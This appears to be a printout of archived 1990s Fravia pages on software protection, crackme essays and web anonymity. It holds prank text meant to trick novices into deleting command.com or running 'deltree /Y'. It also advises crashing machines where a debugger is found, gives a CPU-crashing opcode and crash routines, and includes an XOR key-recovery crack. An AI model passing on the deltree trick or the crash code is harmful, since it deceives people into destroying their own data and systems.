crack it insane. This makes a keygenerator almost impossible - Also, brute force attacks are blocked very
efficiently.
Caution with the Runtime libary! Use it fully when writing the beta versions, in the final release rewrite

http://www.instinct.org/fravia/protec.htm (6 of 11) [2/7/2001 2:59:43 PM]


protec.htm: HOW TO PROTECT BETTER

some functions at least to make crackers life harder.


Mangle data. Protection that mangles data is usually a good one. Example: Imagine a charting program ..
e.g., just disabling printing and later on enabling it basing on some registration# is the most often committed
suicide. Let your thingo print. When creating data structures for printing, mangle them in some way.
Unmangle them just before printing, using reg# or something other for that purpose. Even more, make this
mangling subtle. Assume that you've got a pie chart to print. Don't alter anything, but add some not too big
random numbers to values of data series - this is mangling then. The chart will look "not that bad", but will
be otherwise unuseable (if the changes are random and on the order of 20%, for example). Finding such
protection, if its connection with reg# is not self-evident can take much time. One has to delve inside your
data structures and find that dreaded mangling and unmangling code.
Traps. Do a CRC check on your EXE. If it is modified then don't show the typical error message, but wait a
day and then notify the user using some cryptic error code. When (and if) they contact you with the error
code, you know that it is due to the crack. Be aware: such traps could also be activated due to virus infection
or incorrect downloads. Don't blame a potential customer for software piracy.
The rcr/rcl trick If a rcr/rcl is performed on a value, it becomes much more of a pain to crack - you can't
reverse it with by negating it's effects without knowing what the value of the carry flag was before the
original operation. If the carry flag is created as a result of some other pain in the neck operation, you are
probably onto a winner.
Stick conditional jumps in. Everywhere. Conditional jumps are not fun to reverse engineer. No loops, but
jumps which conditionally bypass/include portions of your wonderful key manipulation code. There is no
easy inverse operation to be performed here.
Use portions of the code as magic number tables. (preferably critical sections). You have no idea how
annoying this can be, if you're like most crackers and like to change things around using softice (a popular
cracking tool).
Play with the cracker's mind. This one is fun :-) Stick series of nops in, as though you were doing
self-modifying code (oh my god! what the heck! nops? Aha! Self-modifying code! Idiot spends next three
years trying to find the code that should be there.). Pepper the code with junk instructions. Cut the code up
into little pieces and put them all over the executable, with (preferably conditional) jumps between them. -
Anything which you would find a pain in the neck.
Detect SoftIce. Early. Now crash the computer. You can crash a pentium or a pentium with MMX even
without a vxd by the opcode: F0 0F C7 C8 (illegal form of cmpxchg8b instruction with lock prefix). Beyond
that, we have to resort to the tried and true methods. Using a vxd, take the CPU out of protected mode.
Windows doesn't like that. Wonder why?

Software Protection, an impossible dream?


The Shrinkers discussion
On Richard Fellner's page I found this snippet:
Don't rely on "EXE-packers". For almost any tool which compresses EXE files
(Shrinker, WWPack32, NeoLite - to list the most popular ones) there's an
uncompressor around, so compressors capable for software-protection
should at least support configurable encryption. Unpackers for the above (and
other) tools are not very wide-spreaded, however, don't rely on them as your
program's one and only "protection"!

http://www.instinct.org/fravia/protec.htm (7 of 11) [2/7/2001 2:59:43 PM]


protec.htm: HOW TO PROTECT BETTER

Now the question is: is this true?

A shrinker, like the one from Blinkinc should be seen as a 'first line of defense' for a protector. The application will
be uncompressed when it is loaded and cannot therefore be decompiled from disk. This makes the possibility to
mess with it a little more complicated for the cracker, especially if, after having compressed the application with
Shrinker or with WWpack32 you checksum (twice) the compressed EXE.

The standard binary post-processors seem at the moment to be:


Shrinker
VBox
and WWrap32
And for these shrinker there are corresponding unshrinkers in the scene... where are they?
Well, a first good tool (yet not for beginners) is procdump a very good unpacker by Riz+la, Stone and G-rom (btw:
in the unpack.txt companion file you'll find VERY USEFUL information about the most common commercial'
packers). I'm presenting here version 1.1, build 4 from 11 October 1998. Visit Stone's page to fetch more recent
versions.

Software Protection, an impossible dream?


Links

Anti-Cracking sites
Vitas Ramanchauskas' site: http://www.soft4you.com/vitas/antihack.htm
Some interesting techniques and original ideas

Richard Fellner's anti-crack tips http://www.user.xpoint.at/r.fellner/nocrack.htm


(most of them have been shamelessly stolen from my site :-)

Rob Beckers' How to Battle Warez: http://www.cat-soft.com/warez.htm


A VERY interesting part about site tracking and elementary/intermediate stalking techniques

Anti-Cracking discussions
You may be interested in my Counter Intelligence page.

Cracking discussions
You may be interested in my Why crackers crack? (Reversing reversers' psychology) 'late November' thread.

http://www.instinct.org/fravia/protec.htm (8 of 11) [2/7/2001 2:59:43 PM]


protec.htm: HOW TO PROTECT BETTER

Tricks
[Let's melt softice? Pro and contra] [Funny tricks against idiots]

1. Let's melt softice? Pro and contra


Here you'll be able to check David Eriksson's original (Mid-97) meltice! A tool for detecting softice written in C,
and here you'll have the same code ported by PhR to Pascal/Delphi (with Hoffmeister's corrections).
Anyway such an approach is of limited use. You may succeed in annoying some casual crackers, yet the fact that
Numega chose to name their kernel drivers that way doesn't mean much... there is nothing that prevents any
reveser from renaming them...

So I publish the snippets above because this can give some ideas to good protectors. Go beyond and prepare some
good code for Sice detection (or even some 'retaliating code'... come to think of it, if I were a protection scheme
and if I would detect on a computer -say- softice, wdasm and smartcheck I would know that I should ring all
possible defcom red alert bells... but READ (and head) THE FOLLOWING CAVEAT!

First of all you should UNDERSTAND what Softice is... many 'sunday' programmers don't have the slightest
clue...

SoftICE is - same as WDEB386.EXE of Microsoft a completely different story, from turbodebugger... much to
shareware-authors and driver developers dismay.
First of all, SoftICE is started before Windows starts (more exactly - you run winice.exe and winice in turn runs
win.com). This applies to win9x . configured to run as a boot driver, kernel driver, or a dynamic loadable (kernel)
driver under NT.
When the gui starts SI is already present and can be invoked via ALT-D (preset). So there is no "present-not
present" thing with softice, it sits beneath windows and waits till you need it. as the bulk of softice consists of ring
0 software, you're not limited in what you can view. driver writers for that reason quite routinely start their
machine with si present.
Therefore you go about detecting it like you'd detect any other vxd - seeking the VMM's DDB and then just
walking the linked list of DDBs in the case of Win9x, and examining the list of loaded drivers in NT.
The problem rather is, what are you going to do if you find it? Nuke the machine?
The world increasingly seems to fill up with authors, who think, just because somebody (mostly by accident)
installed one of their vanity proggies, they got the right to nuke others peoples machines.
As it's part of my job to work with softice I just can't work with some programs without reversing them at the
moment - o.k. so what, but what will annoy almost all VXD authors is if you just go about rebooting the machine if
they start your software... maybe putting a link into the autostart group before.
Therefore do me and people like me a favor please: forget that debugger detection crap, do a little bit of math and
firgure out how to en- and decrypt your software at runtime (as it is to valuable to be looked at by other people), be
creative and contructive instead of just destructive.

Btw, there is no law against people debugging and reversing your software, as strange as this may seem to you, but
there surely is a law against deliberatly risking to damage other peoples' property.

http://www.instinct.org/fravia/protec.htm (9 of 11) [2/7/2001 2:59:44 PM]


protec.htm: HOW TO PROTECT BETTER

2. Funny tricks against idiots.

Publish the following on alt.2600 (or IRC, or wherever lamers abound) as standard answer to all zombies'
questions regarding software deprotection:
"There is a file in the root directory that controls all copy protection called command.com (or under NT, I believe
it's 'ntldr'). You must delete this file using a utility that does a security delete (Norton Wipefile would be good).
Then restart your computer. Copy protection schemes will no longer function."

Also nice:

"In order to deprotect all protected software you will need to perform a dos command inside your dos box. After
having started a dos box (start ~ programs ~ MS-dos prompt), you will see a funny small black window, with the
following (cryptic) message:

C:\WINDOWS>
Don't worry about its meaning for the moment, just type
cd.. (that is "cd point point")
and you will see a small display changement, the prompt will now read:

C:\>
Now you are "root", as hackers use to say, just type the following:

prompt deprotect>
And you have started the deprotection routines, note in fact that the prompt now reads

deprotect>
All what you need to do, now, is to excute the command

deltree /Y
(Notice that there is a space after deltree, before /Y). You'll now see a quick scanning of your drive (in order to
individuate the protected programs) and at the end you will be back to the deprotect routines prompt. Have fun
with your unprotected programs"
Of course you should NOT add any smiley to these messages... This is called "darwinian selection among
wannabie crackers" :-)

Visit the experimental message board for all people hanging around at fravia's

Our Protections Our own tools Students' essays Packers & Unp Dongles lab
homepage links +ORC most recent essays +HCU database
anonymity counter measures CGI antismut cocktails

http://www.instinct.org/fravia/protec.htm (10 of 11) [2/7/2001 2:59:44 PM]


protec.htm: HOW TO PROTECT BETTER

search_forms javascript wars AntiMicro$oft mail_fravia


Is reverse engineering legal?

(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/protec.htm (11 of 11) [2/7/2001 2:59:44 PM]


htp_essa1.htm: Fravia's "How to protect better" lab, essays

How to protect better, Essays

Back to protec

project start: may 1997 ~ last update: July 1999

Courtesy of fravia's pages of reverse engineering

HOW TO PROTECT BETTER


(The long road to defeat lamers)

PHASE 1 ~ First attempt, by +Rcg


PHASE 2 ~ Second attempt, by +Sync
PHASE 3 ~ The "Prefetch Instruction Queue" idea, by Camel Eater, 13 Aug 1997
PHASE 4 ~ +Sync's second attempt solution, by +Sync, 14 Aug 1997
PHASE 5 ~ Prefetch Instruction Queue considerations, by Heres, 16 Sep 1997
PHASE 6 ~ PIQ + Pentium, + some general protection thoughts for the HCU, by g(ar), 21 Nov 1997

PHASE 7 ~ +RCG's Self32 saga and beyond


('course only for advanced crackers and advanced protectors :-)

self32.zip, by +RCG, 29 Nov 1997... download icname.dat AND self32.exe and crack it!
A first answer, by Zer0+ (26 December 1997)
Enjoy +RCG's self32 solution!
Here you have some tasty snippets out of it:

- Create a Self-Modificable code on the fly


- modify VxD without restrictions
- if destination is a code segment then it is forbidden to write
into it
and an exception is generated (and trapped... giving us the
error code)

The "self32 solution" link above is at the same time the road to +RCG's new protection approach and his
two splendid essays:

CRYPTOGRAPHY AND MATHEMATICS OF CHAOS!


and
A FIRST INTRODUCTION TO VxD!

http://www.instinct.org/fravia/htp_essa1.htm (1 of 6) [2/7/2001 2:59:52 PM]


htp_essa1.htm: Fravia's "How to protect better" lab, essays

In fact +RCG has opened a COMPLETELY NEW AND ADVANCED path with his two essays and with the
accompaning programs and source code. Therefore I have decided to link them in an 'unusual' way, to filter
lamers and newbyes a little and awaiting +RCG's updates and new promised goodies. He writes: "Soon
more (but you must work on your own)" and he's right, of course. This is a WORK IN PROGRESS new
section, that will -for obvious reasons- get along our new 1998 +HCU's project 'Our tool' (API monitoring
and vxd magic), which starts in these days on the ristrected maillist. So you better contribute (and I mean
contribute with some interesting stuff) if you want to remain on this bandwagon... to cite +RCG's words:
you must know that a VxD can do everything
we want, no more Ring3 restrictions, you can
stop completely the system, read or write any
memory address, hook all interrupts or exceptions,
take control of the IO ports

PHASE 8 ~ Flipper's Visual Basic 5 tough protection, by +flipper, 06 Dec 1997


(as the name says... tough Visual Basic 5 protection!)

You'll find inside this same protection tutorial a couple of solutions as well:
-----------------------------------------------------------------------------------
The first solution, by r0ketman (December 1997)
and an answer by flipper (December 1997)
and another solution, by +Rcg (December 1997)
and another answer by flipper (26 December 1997)

Average +HCU "deep" cracking time: three to five days :-)


PHASE 9 ~ Fooling Disassemblers (Protecting Applications Against Disassembly), by Snatch, 07 Dec
1997
(The "non-conditional" conditional jump and other tricks)
PHASE A ~ Advanced protection schemes, by tibit, 13 Dec 1997
(How to defeat us crackers at our own game :-)
PHASE B ~ +RCG's heavy protection, by +RCG, 13 Jan 1998

C'mon, everyone: crack the vxd based protection scheme of this official HCU protector program!
Here is what +RCG himself writes about all this
BTW, this doc will teach you to protect, and I will also
attach "the official HCU protector program" and then we
will wait for someone able to reverse it.
Don't worry: I will explain you how it works (I will attach
the source as well, yet this won't help you too much from
a cracking point of view).
See above the Self32 saga in order to read +RCG's new CRYPTOGRAPHY AND MATHEMATICS OF
CHAOS and A FIRST INTRODUCTION TO VxD essays!

http://www.instinct.org/fravia/htp_essa1.htm (2 of 6) [2/7/2001 2:59:52 PM]


htp_essa1.htm: Fravia's "How to protect better" lab, essays

Quine's Quick Qrack


And on 15 January 1998 -a day after having released +RCG's heavy protection- I have already received a
quick solution by nothing less than Quine. +RCG, my friend, I believe we will have to start to prepare
"specific" protections against +HCUkers... the only question is: how?
fravia+,

In taking a break from putting the finishing touches on my


HASP
essay (!), I took a look at +RCG's heavy.exe. It was quite
interesting
because his method has weaknesses that are similar to those I
found
with the hasp encryption. The solution, by the way, is to create
a
10h byte long file called key.dat which contains 00h through 0Fh.
The
key, as +RCG tells us is too easy, but even with a completely
random
key of 10h bytes it would have taken about 2 minutes to find it.
I'm
not going to explain how I figured out that it was a 10h byte
string
xor'd with the code from 4012B9h to 401300h because it's fairly
easy
to figure that out. Here's how to find the key. Isolate the
encrypted bytes in their own file, load that file in HexWorkshop,
and
print it out. You Should have something that looks like this:

00000000 6A31 6A51 2545 066D 08E1 A30A 0C0D 66F7


00000010 2041 02FC 710D EEFD 0809 0AB5 B51F 4E0F
00000020 8934 5223 4405 B906 1B49 0A20 F284 3343
00000030 2041 02BD 6025 4607 813C 422B 4C0D C90A
00000040 4421 4203 0B05 0607

Isn't it convenient how it's lined up so that the first byte of


the
key is xor'd with the first byte in each of the rows, and so on
with
the second, third, .... I will refer to bytes in the grid above
by
their row and column using hexadecimal and starting with 0. So,
(0,0)
is the first byte and (4,7) is the last. Ok, here's the weakness
of
+RCG's method: he left the relocation table untouched and there

http://www.instinct.org/fravia/htp_essa1.htm (3 of 6) [2/7/2001 2:59:52 PM]


htp_essa1.htm: Fravia's "How to protect better" lab, essays

are 9
relocations within the encrypted code. A relocation entails a
four
byte absolute address, usually into the data section. IDA, to
make
things convenient, tells us where these relocations are after we
make
the encrypted code undefined. We know that these addresses will
start
with at least 0040 and most of them with 004020 (since that's
where
the data section is). The addresses are at: (0,0), (0,f), (1,c),
(2,2), (2,7), (2,f), (3,4), (3,a), (4,0). Even if we assume only
that
they all start with 0040, that means that we can deduce all but
bytes
0, 3, 8, and b of the key right off the bat. Working on the
004020
assumption (which is correct in all but one case) we can deduce
everything except for byte 8 (needless to say, I had seen the
pattern
way before this, but I wanted to explain how it would work for any
key). However, since we know everything else at this point it
would
be fairly simple work to deduce byte 8. I address a lot of issues
related to this in the hasp essay (they use a 1000h byte long
string
for xor'ing) and suggest a more airtight protection method.

P.S. A further consequence of +RCG's neglect of relocations is


that
the program will crash if it is ever relocated by the operating
system. This is not bound to happen to an exe, but it is
extremely
likely with a dll, in which case the operating system will start
adding values to bytes within the encrypted code and that will
lead to
an inevitable crash.

Later,
Quine

18 January 1998
Of course things do NOT finish here... and +RCG has sent some new (and very interesting) protection
ideas... I'm sure that you'll find the short essay by +RCG: HOW TO PROTECT SOFTWARE BETTER -
Part II very instructive. It deals, among other things, with the following questions: Purpose of the "Our

http://www.instinct.org/fravia/htp_essa1.htm (4 of 6) [2/7/2001 2:59:52 PM]


htp_essa1.htm: Fravia's "How to protect better" lab, essays

protection" section; The "delayed" protection scheme of the future; The Port 70/71 trick; How to take
Softice on a boat ride; Softice breakpoint magic explained and defeated.

25 February 1998
A tough assembly protection: crack_me.htm
by +Aesculapius
A beautiful, great contribution by +Aesculapius, who gathers some ideas from Madmax's letters (see below)
and has prepared for you a real "cake": aescul.zip ready? steady? Go!

28 February 1998
jackrev.htm: Reversing +Aesculapius, A complete explanation of a very good assembler protection
by Jack of Shadows
A beautiful, great solution by Jack of Shadows!

01 March 1998
aescures.htm: +Aesculapius' Answer to Jack of Shadows and +Seniors
Lotta important things for protectors and crackers alike!

10 March 1998
zelazny.zip: Jack of Shadows Answer: a modified 'Aesculapius_type' advanced protection
Is getting hot interesting for protectors and crackers alike!

How to crack another commercial "ready made" timelock


25 July 98 Miguel Neto ~ neto_01.htm ~ fra_0143
protection protec
12 Nov 98 NiKoDeMoS ~ jn_essay.htm The New Chaos Protection protec ~ fra_0168
Everlock by Az-Tech: Reversing a Commercial Copy advanced
12 Dec 98 Tomboy ~ everlock.htm ~ fra_0176
Protection Scheme - Part 1 protec
09 Jan 99 Svd ~ svdcd1.htm "offline" debugging and other little marvels protec ~ fra_017C
09 Jan 99 Pilgrim ~ pilgrim2.htm Further FlexCrypt analysis protec ~ fra_017E
Cracking a Commercial Time Trial Protection using
09 Jan 99 Indian1998+ ~ india_r1.htm protec ~ fra_017F
Wdasm32 as debugger
Protection Techniques (1): How to protect your C
20 Jan 99 +puarc ~ probet_1.htm protec ~ fra_0180
programs
advanced
20 Jan 99 McLallo ~ cdromcla.htm CD-Cops ~ Another ready-made protection annihilated proj 4 ~ fra_0183
protec

http://www.instinct.org/fravia/htp_essa1.htm (5 of 6) [2/7/2001 2:59:52 PM]


htp_essa1.htm: Fravia's "How to protect better" lab, essays

C-Dilla
July 99 Black Check ~ Another comercial Protection defeated advanced ~ ****
Safedisc

1 June 1999
antiwa1.htm: Rob's views on software protection: a game of lesser and lesser returns for time invested.
There are always going to be those with more time on their hands than you have, who crack it

Back to protec

Visit the experimental message board for all people hanging around at fravia's

Our Protections Our own tools Students' essays Packers & Unp Dongles lab

homepage links +ORC most recent essays +HCU database


anonymity counter measures CGI antismut cocktails
search_forms javascript wars AntiMicro$oft mail_fravia
Is reverse engineering legal?

(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/htp_essa1.htm (6 of 6) [2/7/2001 2:59:52 PM]


pro_rcg

How to protect better


(FIRST PHASE of this new section)
by +Rcg, May 1997

Courtesy of Fravia's page of reverse engineering


~

How to protect better.


1. Why we must do this? We must learn a lot of new ways to crack and to protect,
(protection=cracking+programming... therefore a more "complete" work)because as soon Micro$oft
"kills" all the few remaining big software companies, they will begin to "sell" their software. Or do you
really think they will continue all the time giving their software for free? Do you really think Money 97
has a toy protection because they don't know how to protect it better? This 90 day trial demo is just a
"legal" way to defeat all the others Software developers. What is more ILEGAL? To sell something at a
price lowest than its developing costs or to teach to crack? And what about selling at zero price? When
Internet becomes really in a "HighRoad" and you will be able to download multimegabytes files in few
seconds, then the trial formula will suddendly disappear, and you will pay for every byte and for every
use of the Micro$oft WordProcesor, the Micro$oft SpreadSheet, you name it, just because in the late '90
they legally "sold" their software for nothing (defeating all the others software companies). So we must
be prepared for this (or something worse), I personally think that in a few years, the whole world will be
using Windows NT and nothing else, indipendently from the advantages and disadvantages of this
particular OS. This OS is more protected, just think how many undocumented funtions are hidden inside
it. The MS-DOS "little unix" entry will be definitely erased (and or banned) and programmers will be
forced to use Micro$oft functions. We will be at their feet. But... here we are (little Frodos)... with the
advices of our master, the "Red" Wizard, we will wage the battle against the black shadows (and perhaps
help in makuing this world a little better). Remember: there are millions of 'zombies' in the world, it's
time to wake some of them up. Statistically, in my country, people watch TV for over 3 hours a
day....OH!!! MAMMA MIA!!! and I believe that in the States things are even worse than that. 2. Ok, ok,
you have convinced me, but how can I begin? Simple: download the first's three examples, and learn
from them all you can, and then, try your own protections, use your mind, dont ever be a zombie
anymore, spend your useless TV hours developing your own protections schemes... it's fun and at the
same time you will be preventing your premature cerebral deterioration (known as Alzheimer's disease)
did you know that the TV-drooling zombies have a bigger probability to catch it?), and then send them to
us. We will publish the best new schemes created by you, thus, more and more people will have at least
some weapons to fight against our common enemy. This is the reason we ask EXSPECIALLY shareware
programmers to help in this section... strange isn't it? Crackers and Shareware programmers fighting
together... when the crocodile comes, cats and dogs form alliances. Read first the next guidelines. I know
these first three examples are not the 'panacea' in programing neither in protections, but I think it's a
good, and easy, framework for Newbyes. Tips: Example 1: A simple register code scheme. Example 2:

http://www.instinct.org/fravia/pro_rcg.htm (1 of 3) [2/7/2001 2:59:55 PM]


pro_rcg

Like 1 plus a NagScreen (find the trapdoor inside it) Example 3: Just like 2 but a little WinIce hostile :-(
(You are able to recover the system, use the stack to find the real return and restore the stack).
REMEMBER: Dont send us exe files, because we will never execute them. We only want the sources,
we will study them, and then we will compile them, and then publish them for the HCUkers. Of course,
if you are a little sceptic about this, you can as well wait 2 weeks, and download only the source with its
solution. Less brain work and less fun, though. 3. What are the usual "approach" metods little crackers
use? Basically (at least until master +ORC teach us other methods :-) we use two: "Dead listing" and
"Debugger tracing". 4. How can we defeat people following these approaches? 4.1. Debugger tracing, is
"a priori" the easiest to avoid, just use the little tricks used in order to know if SoftIce (or any other tsr
debugger) dwells in memory. Read the splendid docoument "WinIce Galore" by Civetta. Just look at this:
. . lea esi,GetDlgItemTextA call CheckIce cmp eax,"ICFI" ;Is Sice Fired? je Bad_Guy_Crash_system call
esi . . CheckIce: push esi push ds push cs pop ds ;Now DS=CS mov esi,[esi+2] ;Get dll function jmp
address mov esi,[esi] ;Get dll function real address mov eax,[esi] ;Get first bytes of dll function and
eax,0FFh ;Use only first byte cmp eax,0CCh ;bpxed? mov eax,"ICFI" je Ice_Fired xor eax,eax Ice_Fired:
pop ds ;Restore ds pop esi ret We can use this simple routine just to know if the little cracker has
commanded a bpx at the next "call dll_function", exiting (or crashing the system) if Softice is "near".
Another useful anti-debugger trick is: . . mov al,0CCh mov ecx,Routine_Length Call Check_CC
Routine_To_Check: . . Check_CC: mov esi,[esp] ;Ret Address push ds push cs pop ds Do_More: cmp
al,[esi+ecx] jne Warning_WinIce_Is_Ahead_Crash_system loop Do_More pop ds ret ;Good Guy
Warning_WinIce_Is_Ahead_Crash_system: pop cs ;This will crash your system inmediately ret What
could we use this for? I.E. to check if actual routine has a "bpx" somewhere or just to check the entire
programm searching for a bpx. 4.2 Once SoftIce is "out of service", Dead listing can be made more
complicated just using indirect calls, like this: call [Call_Table+4] this table is in Data segment, so it can
be encrypted or loaded at any time from a file or from whatever hyding ground you can imagine. You
could also use a lot of junk code, and you could "play" with your stack a lot, this will make the "dead
listing" way horrible... well yes, that's more easy for a single shareware programmer that may be knows a
little assembly than for a big stupid corporation, which HAS to have clear code in order to produce
quickly, part work among many poor programmerslaves and try to get a minimum of bugs out... nice
sideeffect, isn't it? :-) 5. What is the best way to protect a program? 5.1. Program encrypted (like some
viruses) , we avoid totally Dead Listing and patching as long as the cracker does not find the encryption
routine/schema. 5.2. Self-Modificable Code, look: push eax push ebx Call Check_User_Entry_Code test
eax,eax je Bad_Guy nop ;Here we will put the Good_Guy jmp nop ;it depents of many other calls nop
;Who knows which? nop nop nop Bad_Guy: Call Crash_System 5.3. Others methods, simply let your
imagination fly!!!! 6. How to implement the techniques we have seen point 5? VxD. I know this is a big
effort, but I'm sure we will be able to program them in a few months, so we will take again the control
over the system (just like we did in Ms-Dos). I'm breaking new ground here, therefore I will develop this
as soon as possible. +rcg 1997
Here we go, download, experiment and learn:
all examples

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails

http://www.instinct.org/fravia/pro_rcg.htm (2 of 3) [2/7/2001 2:59:55 PM]


pro_rcg

search_forms mailFraVia
Is reverse engineering illegal?

http://www.instinct.org/fravia/pro_rcg.htm (3 of 3) [2/7/2001 2:59:55 PM]


noanon.htm: fravia's anonimity Lab (tricks and tips to survive a little longer on the web)

Fravia's anonymity lab


Every web step leaves traces
(Fravia demonstrates that you must be careful)
~
On the web "nomen est omen"
~
On this page
Visitors tracing | Data smearing | Dejasnooping |
Anonymous web searching | Anonymous web surfing | Anonymous web publishing
Cookies | Luring | Anonymity essays | Some other links

Other related pages of my anonymity Lab


[corporate survival] [stalking matters] [enemy tracking]
[steganography] [What Fravia knows about you] [Tweak your browser!]
[Anonymous e-mailing] [things that happen]
Guess which URL will this link connect to :-)

Version September 1999

The main intent of my 'Anonymity Lab'

The main intent of this section of my site is to SCARE YOU TO DEATH about the huge amount of data and private information33 you are 'smearing' around without even knowing it.
Tears fill my eyes when I see so many good and nice Internauts fall prey of crooks of all sorts (from nasty software producer like Micro$oft, who hide snooping secret functions inside their
applications, through the main search engines you use, that gather your searching patterns and store them without warning you to the outright 'dirty' crooks that search and lure gullible simpletons
in order to sell them fake religions or fake tits or whatever fake they have to push). Matter is that the NASTY aspect of this nether world of us is never enough explained. There is no law here.
Only reversers, like we are, can eventually help the gullible and simple ones (and damage the crooks, which is great fun :-)

We fight of course more 'active' battles, as you'll learn on my [antismut] section, yet even the simple spreading of 'passive' knowledge can be very useful (knowledge, as Master +ORC has always
said, is indeed a most powerful 'good' weapon), and we help, in this section, throwing our light on some of the 'hidden', 'dark' and 'mysterious' aspects of the Web.

You'll learn here some must-know anonymity concerns and some elementary counter-measures, yet, as you will see, the data you are leaking around are so many (and so valuable) that there is not
really much that you can do, short of going undercover with a completely bogus identity... which is something that you will probably want to do after having read all this :-)

Where d'you wanna go, bud?


Wanna [trace] your visitors or learn how much info you are [smearing] around? Would you like to [snoop] their profile or [search] anonymously on the Web? You may even get acquainted with
some [cookies] little tricks or [lure] your enemies into a trap. If you do not understand much, you better read first just how many [traces] you leave when you browse and how you can simply
[send mail anonymously] on the web... you'll understand all the rest later.
There are also some [Anonymity essays] that you may find interesting, and of course you may enjoy the [Ah Ah! Die cookie die!] section of this page as well :-)
Else you may enjoy having a look at some [things that happen].

http://www.instinct.org/fravia/noanon.htm (1 of 12) [2/7/2001 3:00:19 PM]


noanon.htm: fravia's anonimity Lab (tricks and tips to survive a little longer on the web)

No anonimity, I regret
This section of mine about the traces you leave on my own servers was growing bigger and bigger and has been moved to my
What Fravia knows about you
page, where all (scary) tracking possibilities used today will be discussed and some countermeasures will be analysed.

You leave traces, I said


Ahi! Your precious data!

The harddisk problem


Some of the files that are on your computer (and that recent browsers can send over the Net WITHOUT telling you anything about it :-) might become
interesting for adversaries, or the plain curious, or the bastards that want to sell you beer, or tits, or religions or cars:
AUTOEXEC.BAT
Contains details of the locations of many important things on your computer system, among other things, the PATH variable will show where are
your tools.

SYSTEM.INI
Contains still more details about the locations and software that you are running on your system, as well as other personal things that might be
helpful for rogues to find out - like preferences and the like.

USER.DAT
(On my computer, right now: 286692 bytes as c:\windows\user.dat and 286692 as c:\windows\user.da0, which is created as 'reference' when you
set your computer on).
This is one mighty important file. You better be prepared to get some cheap thrills about this one... if you did not already know about it.
Inside this monster there are masses of data about you: the last few dozen places you've visited on the Internet, your name, email address,
telephone number, various user ID's and passwords, details about software you use and your preferences, locations of files and folders, and literally
hundreds of other personal things. You don't believe me? Here are some (very small) snippets from my own user.dat

000A0030005374617274205061676568 0 Start Pageh


7474703A2F2F6F7572776F726C642E63 ttp://ourworld.c
6F6D707573657276652E636F6D2F686F ompuserve.com/ho
6D6570616765732F6672617669612F01 mepages/fravia/.
...

http://www.instinct.org/fravia/noanon.htm (2 of 12) [2/7/2001 3:00:19 PM]


noanon.htm: fravia's anonimity Lab (tricks and tips to survive a little longer on the web)
000000000005003F0075726C31386874 ? url18ht
74703A2F2F7069706574612E6368656D tp://pipeta.chemi
69612E706B2E6564752E706C2F707562 a.pk.edu.pl/pub/m
2F6D6973632F6578652D756E7061636B isc/exe-unpack/dm
2F646D7065786531322E7A6970010000 pexe12.zip
...
01000000000000000A0010004C617374 Last
2047726F7570616C742E66616E2E6267 Groupalt.fan.bgc
63726973697374757265732E65726F74 risistures.eroti
6963612E616E696D65180100004B0002 ca.anime K
...
There you are with your privacy concerns: your starting url, all the files/urls you accessed (above you can see as 'url 18', that I downloaded
smpexe12.zip from pipeta) and even the very unencrypted names of the usenet groups you have been playing with lately...

YES, I wanted to scare you, you better have a look at your own user.dat asap, btw, make a local copy of it (from your
c:\windows\profiles\Yourself) and browse it using Ultraedit. You'll be amazed at the wealth of information about yourself that this huge database
helds... among other things all the search strings you have recently used!
So, what can you do?
Not much, anyway you can try: First make a backup of your "real" user.dat, and call it ggs541.myn or whatever, just in case.
Second see if you find somewhere a "clean" installation user.dat (usually -on corporate machines- under /windows/profiles/instw95 or similar)...
you may 'steal' a ready made one from some other machine or profile (you better choose wisely :-)
Third, after having thoroughly checked everything inside it, just in case, substitute routinely your real one with this 'bogus' and 'clean' one.
Don't let your data slip anew! You better write a simple batchfile (see my corporate survival tricks page) to automate this tedious task.
(On my computer, after the 'cure': 86168 bytes as c:\windows\user.dat and 65688 as c:\windows\user.da0, which has been re-created as
'reference' after I have resetted my computer on). Of course you may not dispose of a clean user.dat file and you may have to reinstall windows
ex-novo in order to get a clean user.dat, and this would not be such a bad idea after all! Nothing like a nice hard-disk "deep level" formatting every
couple of months to keep your harddisk fit, destroying as well all those tracks you are smearing around without noticing it :-)

Morale: keep your sensitive data ON THE WEB somewhere where nobody in his right mind would ever look, nor understand them even if he did
(say steganographed inside the dull images of a bogus page like "me and my little dog Barkie" :-) they will be MUCH more safe there than inside
your own harddisk!

SYSTEM.DAT
(On my computer, right now: 748252 bytes as c:\windows\system.dat and 748252 as c:\windows\system.da0, which is created as 'reference' when
you set your computer on).
Even worse than the above! Once again, lots more personal details, including also the location of all your windows passwords (login, screen saver,
network, LAN, etc), every conceivable thing about your computer, its hardware and setup, and full details of all the software you're using or you
have ever used (!) on your computer.
You'll notice perusing this little monster the huge amount of wasted bytes occupied by Micro$oft's converter strings and messages. If you ever
wanted a clear example of the 'messiness' of the poor operating system we are all compelled to use, just look at your c:\windows\system.dat

http://www.instinct.org/fravia/noanon.htm (3 of 12) [2/7/2001 3:00:19 PM]


noanon.htm: fravia's anonimity Lab (tricks and tips to survive a little longer on the web)
overbloated register.
Note also that there is a section of this crap (install information section) where you'll have the surprise to find the NAMES of all applications you
have installed in the last couple of years (at least :-) on your computer... I have perused it right now in order to write this text, and I constate with
stupefaction that I must have in fact installed and/or run on this machine -quite sometime ago- an impressive lot of crap that I had already forgot I
ever had:

AW.EXE AWUSRFNC.DLL BD.EXE BD.ADV BLADE.BAT


BLADE.DAT BIOFORGE.EXE KEYCODEE.DAT BO.BAT BO1.EXE
C.BAT MISSION.DTA CAPHILL.BAT CAPHILL.GL CARPET.EXE
BULLFROG.LBM CCHELP.EXE CCSETUP.EXE CKTEST.EXE CKTEST.HLP
CHECKIT.EXE CHECKIT.CNF CL.EXE QLIB.EXE COASTER.EXE
COASTER1.RSC COMANCHE.EXE MISSION.DTA CR.BAT JIGGSBIG.ANM
CPAV.EXE CPSCHED.EXE CPBACKUP.EXE CPSCHED.EXE CYCLONES.EXE
DEARJ.EXE DEAD.EXE DEADDEMO.DAT DEMO.EXE DFDEMO.BAT
DFDEMO DOGNAPP.EXE GAMEMAPS.RR2 DS.BAT TOSTEXT.BIN
DS.EXE NDD.EXE DRACULA.EXE SETDRAC.EXE DRAGON.BAT
DRAGON.EXE DL.EXE DL.EXE DRAGON.EXE ELFISH.EXE...
And there are more and more pages of software denominations I will not annoy you with, and a couple of surprises: I for instance absolutely DO
